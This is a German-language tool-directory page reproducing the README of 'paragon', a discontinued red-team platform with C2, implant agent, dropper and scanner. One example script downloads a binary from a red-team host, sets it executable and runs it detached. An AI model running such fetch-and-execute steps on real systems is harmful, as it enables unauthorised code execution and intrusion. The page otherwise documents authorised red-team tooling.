Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
paragon — Red Team Engagement-Plattform mit dem Ziel, offensive Tools hinter einer einfachen Benutzeroberfläche zu vereinen. | Kitploit
Tools/GitHubGitHub/kcarretto/paragon
Penetrationstest-FrameworksExploit-FrameworksScripting & AutomatisierungPost-ExploitationCommand and ControlRed TeamingPayload-Entwicklung
GitHubkcarretto/paragon

paragon

Red Team Engagement-Plattform mit dem Ziel, offensive Tools hinter einer einfachen Benutzeroberfläche zu vereinen.

Repository anzeigen
304426vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Hinweis zur Einstellung

Dieses Projekt wurde eingestellt. Bitte beachten Sie unser neues Realm-Projekt, das auf vielen der Ideen aufbaut, die wir bei der Entwicklung dieses Repos hatten.

CI Build Status Go Report Card Coverage Status GitHub release GoDoc

Paragon

Demo

Paragon ist eine Plattform für Red-Team-Einsätze. Sie zielt darauf ab, offensive Tools hinter einer einfachen Benutzeroberfläche zu vereinen, indem sie viele Backend-Aufgaben abstrahiert, sodass sich Operateure auf das Schreiben von Implantaten konzentrieren können und weniger Zeit mit Datenbanken und CSS verbringen müssen. Das Repository enthält auch einige offensive Tools, die bereits in Paragon integriert sind und während Einsätzen verwendet werden können.

Dieses Repository befindet sich noch in intensiver Entwicklung und ist nicht für den Produktionseinsatz bereit. Sobald es als stabil gilt, wird ein V1.0.0-Tag veröffentlicht. Bis dahin kann es zu bahnbrechenden Änderungen an der API kommen, da wir unser Design kontinuierlich vereinfachen. Bitte lesen Sie die unten stehende Entwicklerdokumentation, wenn Sie uns helfen möchten, diesen Meilenstein schneller zu erreichen.

Inhaltsverzeichnis

  • Hauptfunktionen
  • Erste Schritte
  • Komponentenübersicht
  • FAQ
  • Begriffe
  • Entwickleranleitung

Hauptfunktionen

  • Einfache Integration benutzerdefinierter Tools zur Vereinheitlichung von Operationen hinter einer einzigen Oberfläche
  • Abfrage des Red-Team-Wissensgraphen über eine bereitgestellte GraphQL-API
  • Ereignisemission für automatisierte Abläufe mit niedriger Latenz und Echtzeitverarbeitung
  • Python-ähnliche Skriptsprache für Bereitstellungen, Post-Exploitation und mehr
  • Plattformübergreifende Implantate und Bereitstellung enthalten
  • Aufzeichnung der Operateuraktivität zur bequemen Zusammenstellung eines Nachbereitungsberichts

Erste Schritte

Eine kurze Demonstrationsinstanz kann durch Klonen des Repos und Ausführen von docker-compose up eingerichtet werden. Öffnen Sie 127.0.0.1:80 in Ihrem Browser, um loszulegen!

Die verwendeten Images sind auf Docker Hub verfügbar und können über eine docker-compose-Datei für eine Produktionsbereitstellung konfiguriert werden.

Komponentenübersicht

Skriptsprache

Die meisten Komponenten in diesem Repository basieren auf einer Python-ähnlichen Skriptsprache, die leistungsstarke Steuerung und Anpassung ihres Verhaltens ermöglicht. Die Sprache ist eine modifizierte Version von Googles Starlark, erweitert um plattformübergreifende Funktionen für Operateure. Dies ermöglicht es Werkzeugen wie dem Agenten und dem Dropper (siehe unten), Aufgaben auszuführen, ohne auf Systembinaries (curl, bash usw.) angewiesen zu sein. Alle Operationen werden als Code in Golang ausgeführt, sodass es intuitiv ist, zusätzliche Funktionen zur Skriptumgebung hinzuzufügen. Hier ist ein Beispielskript:

root@kitploit:~
# Laden Sie eine Datei per https herunter, führen Sie sie aus und behalten Sie sie nicht als Kindprozess.
load("sys", "request")

new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)

# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)

Referenz

Teamserver

Stellt eine einfache Webanwendung und GraphQL-API zur Verfügung, um mit einem Red-Team-Wissensgraphen zu interagieren, Werkzeuge hinter einer zentralen Quelle der Wahrheit zu vereinen und viele mühsame Backend-Belange von den Operateuren zu abstrahieren. Integrieren Sie Ihre benutzerdefinierten Tools in den Teamserver (mithilfe der GraphQL-API oder Ereignisabonnements), um Zeit bei der Backend-Arbeit zu sparen. Der Teamserver zeichnet alle Aktivitäten auf. Wenn also alle Ihre Werkzeuge an einem Ort vereint sind, wird das Schreiben von Nachbereitungsberichten erheblich erleichtert.

Integrierte Werkzeuge

Die unten aufgeführten Werkzeuge sind ebenfalls im Repository enthalten. Sie können leicht erweitert werden, um viele plattformübergreifende Anwendungsfälle abzudecken.

Dropper

  • Vollständig plattformübergreifend
  • Statisches Kompilieren von Assets in eine einzelne Binärdatei
  • Bietet Python-ähnliche Skriptsprache für benutzerdefinierte Bereitstellungskonfiguration

Paragon stellt ein Werkzeug zum Verpacken von Assets (Binärdateien, Skripte usw.) in eine einzelne Binärdatei bereit, die bei Ausführung Ihr benutzerdefiniertes Bereitstellungsskript ausführt, das Assets auf das Dateisystem schreiben, Prozesse starten, Dateien herunterladen, Fehler behandeln und mehr kann. Es ist vollständig plattformübergreifend und statisch kompiliert und bietet zuverlässige Bereitstellungen. Wenn Sie die Funktionalität erweitern möchten, können Sie einfach die generierte Golang-Datei vor dem Kompilieren erweitern.

Agent

  • Vollständig plattformübergreifend
  • Bietet Python-ähnliche Skriptsprache für Post-Exploitation
  • Modulare Kommunikationsmechanismen – kompilieren Sie nur das ein, was Sie benötigen
    • Nutzen Sie mehrere Optionen, um zuverlässige Rückrufe sicherzustellen
  • Anpassbar, wie der Agent mit Kommunikationsfehlern umgeht

Ein Implantat, das Aufgaben ausführt und Ausführungsergebnisse meldet. Es ist standardmäßig so konfiguriert, dass es Aufgaben mithilfe der Python-ähnlichen Skriptsprache von Paragon ausführt und über http(s) mit einem C2 kommuniziert. Es ist in Go geschrieben und kann schnell modifiziert werden, um neue Transportmethoden (z. B. DNS), Ausführungsoptionen, Failover-Logik und mehr hinzuzufügen.

C2

  • Leichte Bereitstellung
  • Hochleistungsfähig, kann Tausende von Agenten verarbeiten
    • Abhängig von Systemressourcen und verfügbarer Bandbreite
  • Verteilter Dienst – nutzen Sie so viele C2s, wie Sie möchten

Fungiert als Mittelsmann zwischen dem Agenten und dem Teamserver. Es verarbeitet Agent-Rückrufe für eine Vielzahl von Kommunikationsmechanismen und versorgt den Agenten mit neuen Aufgaben aus der Teamserver-Warteschlange.

Runner

  • Aufgabenausführung mit niedriger Latenz und in Echtzeit
  • Leicht erweiterbar, um Unterstützung für weitere Kommunikationsmechanismen hinzuzufügen
  • Verteilter Dienst – nutzen Sie so viele Runner, wie Sie möchten

Anstatt auf einen Rückruf zu warten, erfordern einige Situationen möglicherweise eine Vorwärtsverbindung, um eine Aufgabe schnell auszuführen und ihre Ausgabe anzuzeigen. Der Runner erreicht dies, indem er Aufgabenwarteschlangen abonniert und eine Verbindung zum Zielrechner herstellt (z. B. per SSH). Dies ermöglicht shell-ähnliche Integrationen, die dieselbe Oberfläche wie Implantate und C2s nutzen. Es ermöglicht auch die anfängliche Implantatbereitstellung über diese Oberfläche.

Scanner

  • Überwachung erreichbarer Zieldienste
  • Automatisierte Reaktionen, wenn Dienste (nicht) verfügbar werden
  • Bereitstellung von Netzwerkinformationen für den Wissensgraphen, die von anderen Werkzeugen genutzt werden können
  • Verteilter Dienst – nutzen Sie so viele Scanner, wie Sie möchten

Überwachen Sie die Zielnetzwerkaktivität und sichtbare Dienste. Kartieren Sie ein Diagramm des Einsatznetzwerks und lösen Sie Automatisierung bei Zustandsänderungen aus (z. B. wenn SSH verfügbar wird).

FAQ

Was passiert, wenn Maschinen dieselbe UUID melden?

Das Setzen der Umgebungsvariable PG_KS_MachineUUID (Killswitch) für den Teamserver deaktiviert Nachschlagen, die Maschinen-UUIDs verwenden.

Begriffe

Um eine klare Kommunikation über diese komplexen Systeme zu gewährleisten, haben wir unten einige projektspezifische Begriffe definiert, die in der gesamten Projektdokumentation verwendet werden.

Implantat

Jede bösartige Software, die während des Einsatzes auf kompromittierten Systemen ausgeführt wird.

Aufgabe

Gewünschte Operationen, die auf einem bestimmten kompromittierten System ausgeführt werden sollen. Aufgaben liefern Ausführungsanweisungen an Implantate, ihre Syntax/Struktur kann jedoch völlig werkzeugspezifisch sein.

Agent

Ein Implantat, das Aufgaben vom Teamserver empfängt, ausführt und deren Ergebnisse meldet. Eine erweiterbare Standardimplementierung ist in diesem Repository enthalten, die erfordert, dass Aufgaben als Skripte bereitgestellt werden, die in der Python-ähnlichen DSL des Projekts geschrieben sind.

Job

Anfragen an den Teamserver, eine Reihe von Operationen durchzuführen. Beim Erstellen eines Jobs werden die Anweisungen gespeichert, aber nicht ausgeführt. Der Benutzer kann den Teamserver auffordern, einen Job null oder mehrmals auszuführen, indem er den Job in die Warteschlange stellt und die erforderlichen Parameter bereitstellt. Jobs können niemals aktualisiert werden, aber neue Versionen von Jobs können erstellt werden, um übermäßiges Kopieren und Einfügen zu vermeiden.

Ein häufiger Anwendungsfall für einen Job ist, wenn der Benutzer ein Skript auf einigen Zielen ausführen möchte. Der Benutzer erstellt einen Job, der den Teamserver anweist, Aufgaben mit dem bereitgestellten Inhalt zu erstellen, aber die gewünschten Zielmaschinen als Parameter offen lässt. Wenn der Job in die Warteschlange gestellt wird, gibt der Benutzer eine Liste von Zielmaschinen als Parameter an, und der Teamserver erstellt eine Aufgabe für jede Maschine.

Entwickleranleitung

Im Folgenden finden Sie eine erste und kurze Referenz für die Paragon-Entwicklung. Weitere Dokumentation finden Sie in den Paket-Godocs oder durch das Lesen von Code :) Nachdem wir einige Designentscheidungen finalisiert haben (lange vor Erreichen von v1), wird ein Code-Freeze in Kraft treten, bis die gesamte Dokumentation aktualisiert und angemessen organisiert ist.

Voraussetzungen

  • Git
  • Docker
  • VSCode
    • Während Sie andere Editoren verwenden können, verlieren Sie die Anpassungen, die die Entwicklung in VSCode beschleunigen
    • Die von Microsoft bereitgestellte Erweiterung Remote - Containers ist erforderlich, um loszulegen.

Umgebungseinrichtung

Nach der Installation der oben aufgeführten Voraussetzungen können Sie in kürzester Zeit loslegen. Klonen Sie einfach das Repository und öffnen Sie es in VSCode. Sie werden aufgefordert, das Codeverzeichnis in einem Entwicklung-Container zu öffnen, der mit allen Projektabhängigkeiten und Entwicklungswerkzeugen konfiguriert wurde, die Sie benötigen. Wenn diese Option nicht bei Ihnen erscheint, öffnen Sie die Befehlspalette und führen Sie > Remote-Containers: Open Folder In Container aus, um den Container zu starten. Wenn Sie den Container zum ersten Mal starten, kann der Download eine Weile dauern ... holen Sie sich also eine Tasse Kaffee ^_^

Projektstruktur

Nachfolgend finden Sie eine Übersicht über die Projektstruktur und den Aufenthaltsort jeder Komponente. Wenn diese veraltet ist, reichen Sie bitte ein Issue oder vorzugsweise einen PR ein, um sie zu korrigieren. Das Codebase ist als Monorepository aufgebaut, was es uns ermöglicht, gemeinsame Entwicklungswerkzeuge und Standardisierungen zu nutzen und gleichzeitig komplizierte Versionskonflikte zu vermeiden.

OrdnerVerwendungszweck
.devcontainerKonfiguration für die VSCode-Container-Entwicklungsumgebung.
.githubGithub-Konfiguration.
.statsEin git-ignoriertes Verzeichnis (das Sie haben können oder nicht) für die Speicherung von Leistungsprofilergebnissen.
entGraphbezogene API-Definitionen, die vom Teamserver verwendet werden.
graphqlGraphQL-Schema und zugehöriger Code, der aus ent generiert wird.
cmdBefehlszeilen-Ausführbare Tools und Dienste.
distEin git-ignoriertes Verzeichnis zum Speichern von Build-Artefakten.
dockerDockerfiles, die für die Beispielbereitstellung verwendet werden.
entGraphmodelle und -schemata, die vom Teamserver verwendet werden (siehe Facebooks entgo Tool für weitere Informationen).
pkgÖffentlich zugängliche Bibliotheken, die von Repository-Tools verwendet, aber auch für die Welt bereitgestellt werden.
pkg/agentEine Abstraktion, um einfach ein Implantat oder einen Kommunikationstransport zu erstellen.
pkg/c2C2-Dienstbezogene Hilfsprogramme und standardisierte Nachrichtendefinitionen.
pkg/c2/protoProtobuf-Spezifikation zur Definition eines standardisierten Serialisierungsformats für die Agent-zu-C2-Kommunikation.
pkg/dropBietet eine einfache Methode, die von kompilierten Dropper-Payloads verwendet wird.
pkg/middlewareAllgemeine Middleware für HTTP-Dienste.
pkg/scriptPython-ähnliche Skriptsprache für dynamische Konfiguration, Automatisierung und plattformübergreifende Ausnutzung.
pkg/script/stdlibStandardbibliotheken, die Funktionen für Skriptausführungsumgebungen bereitstellen.
pkg/teamserverTeamserver-Dienstbezogene Hilfsfunktionen.
wwwEnthält die primäre Webanwendung, die vom Teamserver gehostet wird. Erstellt mit Facebooks create-react-app.
www/src/componentsWiederverwendbare React-Komponenten.
www/src/configWeb-App-Konfiguration und Routing.
www/src/viewsContainer, die Daten vom Teamserver abfragen und Komponenten zum Rendern zusammensetzen.

Teamserver-Referenz

Wissensgraph

Nachfolgend finden Sie eine Übersicht über die Beziehung zwischen Knoten im Red-Team-Wissensgraphen, der vom Teamserver verwaltet wird.

Graf

Agent-Referenz

Transportpriorität. Um Ihren eigenen zu verwenden, implementieren Sie einfach das Interface agent.Sender und registrieren Sie Ihren Transport während der Initialisierung. Beispiele für vorhandene Transporte finden Sie in Unterverzeichnissen des Pakets agent.

Aufgabenausführung

Standardmäßig erwartet der Agent, dass Aufgaben der Starlark-Syntax folgen, und stellt Skripten eine Standardbibliothek zur Verfügung. Um das Verhalten der Aufgabenausführung zu ändern (z. B. nur Bash-Befehle), können Sie das Interface agent.Receiver implementieren, um Aufgaben nach Ihren Wünschen auszuführen.

Skriptumgebung

Die Skriptumgebung kann für Ihren Agenten angepasst werden, sodass Sie problemlos neue Funktionen für Skripte bereitstellen können. Siehe Skriptoptionen um zu erfahren, wie Sie die Skript-Engine Ihres Agenten erweitern können.

Ausführungsablauf

Nachfolgend finden Sie ein Ablaufdiagramm der allgemeinen Ausführung des Agent-Implantats.

Hinzufügen eines Transports

Der Agent ist darauf ausgelegt, einfach mit neuen Transportmechanismen angepasst zu werden, wobei die Kommunikation basierend auf der Transportpriorität multiplexiert wird.

AgentExec

Tool herunterladen